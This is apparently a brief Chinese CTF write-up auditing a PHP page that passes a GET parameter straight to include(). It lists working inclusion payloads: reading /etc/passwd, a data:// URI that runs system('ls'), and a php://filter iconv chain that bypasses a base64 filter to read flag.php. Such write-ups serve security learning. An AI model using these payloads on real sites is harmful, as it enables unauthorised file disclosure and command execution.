代码审计:
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
文件包含漏洞,尝试读取/etc/passwd:
尝试用伪协议:
- 尝试用file://伪协议,file://flag.php, ;
- 尝试用data://伪协议,filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=,base64解密为<?php system('ls');?>,但是过滤了base64;
- 尝试用data://伪协议,filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php,成功。